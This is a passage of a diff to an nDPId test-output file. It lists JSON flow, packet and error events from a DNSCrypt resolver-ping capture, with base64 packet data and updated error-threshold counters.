AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328494,"flow_src_last_pkt_time":946739304328494,"flow_dst_last_pkt_time":946739304328494,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328494,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":35005,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":31,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328516} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304328516,"packet_id":31,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328516} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":31,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304328494,"pkt":"REREREREZmZmZmZmCABFAABQHPsAub0RoW4KAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328530,"flow_src_last_pkt_time":946739304328530,"flow_dst_last_pkt_time":946739304328530,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328530,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":59405,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_src_last_pkt_time":946739304328530,"flow_dst_last_pkt_time":946739304328530,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304328530,"pkt":"REREREREZmZmZmZmCABFAAIcHPxAAL0RYFoKAAABuYbEN+gNIPsCCECUfx0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -79,7 +79,7 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328639,"flow_src_last_pkt_time":946739304328639,"flow_dst_last_pkt_time":946739304328639,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328639,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55123,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_src_last_pkt_time":946739304328639,"flow_dst_last_pkt_time":946739304328639,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304328639,"pkt":"REREREREZmZmZmZmCABFAAXcHP4gAL0RfJgKAAABuYbEN9dTIPsGBAJxfx4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304328639,"flow_src_last_pkt_time":946739304328639,"flow_dst_last_pkt_time":946739304328639,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304328639,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55123,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":35,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328653} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304328653,"packet_id":35,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304328653} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":35,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304328639,"pkt":"REREREREZmZmZmZmCABFAABQHP4Aub0RoWsKAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_src_last_pkt_time":946739304328621,"flow_dst_last_pkt_time":946739304360382,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739304360382,"pkt":"ZmZmZmZmRERERERECABFAADWmUJAADQRblq5hsQ3CgAAASD7xQMAwuTIfxuAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_src_last_pkt_time":946739304328460,"flow_dst_last_pkt_time":946739304361228,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739304361228,"pkt":"ZmZmZmZmRERERERECABFAADWmUFAADQRblu5hsQ3CgAAASD7kiUAwhejfx+AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} @@ -91,7 +91,7 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":20,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304363260,"flow_src_last_pkt_time":946739304363260,"flow_dst_last_pkt_time":946739304363260,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304363260,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":56997,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_src_last_pkt_time":946739304363260,"flow_dst_last_pkt_time":946739304363260,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304363260,"pkt":"REREREREZmZmZmZmCABFAAXcylIgAL0RKVMKAAABaO66wN6lAbsGBMqkZFUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":20,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304363260,"flow_src_last_pkt_time":946739304363260,"flow_dst_last_pkt_time":946739304363260,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304363260,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":56997,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":42,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363265} +00326{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304363265,"packet_id":42,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304363265} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":42,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304363260,"pkt":"REREREREZmZmZmZmCABFAABQylIAub0RTiYKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":21,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304363274,"flow_src_last_pkt_time":946739304363274,"flow_dst_last_pkt_time":946739304363274,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304363274,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":39655,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_src_last_pkt_time":946739304363274,"flow_dst_last_pkt_time":946739304363274,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304363274,"pkt":"REREREREZmZmZmZmCABFAAIcylNAAL0RDRIKAAABaO66wJrnAbsCCOaEZFYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -105,9 +105,9 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304363284,"flow_src_last_pkt_time":946739304363284,"flow_dst_last_pkt_time":946739304363284,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304363284,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44491,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_src_last_pkt_time":946739304363284,"flow_dst_last_pkt_time":946739304363284,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304363284,"pkt":"REREREREZmZmZmZmCABFAAXcylQgAL0RKVEKAAABaO66wK3LAbsGBPuAZFMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA